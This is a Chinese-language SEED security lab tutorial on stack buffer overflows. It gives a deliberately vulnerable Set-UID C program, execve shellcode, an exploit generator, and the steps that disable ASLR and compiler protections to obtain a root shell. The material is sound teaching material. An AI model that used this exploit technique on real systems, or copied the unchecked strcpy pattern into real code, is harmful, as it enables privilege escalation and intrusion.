SEED信息安全實驗系列:緩衝區溢出漏洞實驗

緩衝區溢出漏洞實驗

本實驗詳細出自http://www.shiyanlou.com/courses/231,轉載請註明出處。

一、實驗描述

緩衝區溢出是指程序試圖向緩衝區寫入超出預分配固定長度數據的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片段。這一漏洞的出現是由於數據緩衝器和返回地址的暫時關閉,溢出會引起返回地址被重寫。

二、實驗準備

本次實驗爲了方便觀察彙編語句,我們需要在32位環境下作操作,因此實驗之前需要做一些準備。

1、輸入命令安裝一些用於編譯32位C程序的東西:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2、輸入命令“linux32”進入32位linux環境。此時你會發現,命令行用起來沒那麼爽了,比如不能tab補全了,所以輸入“/bin/bash”使用bash:

02-01

三、實驗步驟

3.1 初始設置

Ubuntu和其他一些Linux系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的內存地址變得十分困難,而猜測內存地址是緩衝區溢出***的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:

sudo sysctl -w kernel.randomize_va_space=0

此外,爲了進一步防範緩衝區溢出***及其它利用shell程序的***,許多shell程序在被調用時自動放棄它們的特權。因此,即使你能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持root權限,這個防護措施在/bin/bash中實現。

linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號鏈接。爲了重現這一防護措施被實現之前的情形,我們使用另一個shell程序(zsh)代替/bin/bash。下面的指令描述瞭如何設置zsh程序:

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

3.2 shellcode

一般情況下,緩衝區溢出會造成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址,那麼程序就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用於實現其他功能,這段代碼就是shellcode。

觀察以下代碼:

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次實驗的shellcode,就是剛纔代碼的彙編版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

把以下代碼保存爲“stack.c”文件,保存到 /tmp 目錄下。代碼如下:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

通過代碼可以知道,程序會讀取一個名爲“badfile”的文件,並將文件內容裝入“buffer”。

編譯該程序,並設置SET-UID。命令如下:

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

GCC編譯器有一種棧保護機制來阻止緩衝區溢出,所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。

而 -z execstack 用於允許執行棧。

3.4 ***程序

我們的目的是***剛纔的漏洞程序,並通過***獲得root權限。

把以下代碼保存爲“exploit.c”文件,保存到 /tmp 目錄下。代碼如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代碼,“\x??\x??\x??\x??”處需要添上shellcode保存在內存中的地址,因爲發生溢出後這個位置剛好可以覆蓋返回地址。

而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode保存在 buffer+100 的位置。

現在我們要得到shellcode在內存中的地址,輸入命令:

gdb stack

disass main

結果如圖:

02-02

接下來的操作:

02-03

根據語句 strcpy(buffer+100,shellcode); 我們計算shellcode的地址爲 0xffffd1b0(十六進制)+100(十進制)=0xffffd214(十六進制)

現在修改exploit.c文件!將 \x??\x??\x??\x?? 修改爲 \x14\xd2\xff\xff

然後,編譯exploit.c程序:

gcc -m32 -o exploit exploit.c

3.5 ***結果

先運行***程序exploit,再運行漏洞程序stack,觀察結果:

02-04-

可見,通過***,獲得了root權限!

如果不能***成功,提示”段錯誤“,那麼請重新使用gdb反彙編,計算內存地址。

四、練習

1、按照實驗步驟進行操作,***漏洞程序並獲得root權限。

2、通過命令”sudo sysctl -w kernel.randomize_va_space=2“打開系統的地址空間隨機化機制,重複用exploit程序***stack程序,觀察能否***成功,能否獲得root權限。

3、將/bin/sh重新指向/bin/bash(或/bin/dash),觀察能否***成功,能否獲得root權限。

以上練習請在實驗樓環境完成並截圖。

License

本課程所涉及的實驗來自Syracuse SEED labs,並在此基礎上爲適配實驗樓網站環境進行修改,修改後的實驗文檔仍然遵循GNU Free Documentation License。

本課程文檔github鏈接:https://github.com/shiyanlou/seedlab

Syracuse SEED labs版權聲明:

Copyright Statement Copyright 2006 – 2014 Wenliang Du, Syracuse University. The development of this document is funded by the National Science Foundation’s Course, Curriculum, and Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can befound athttp://www.gnu.org/licenses/fdl.html.


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章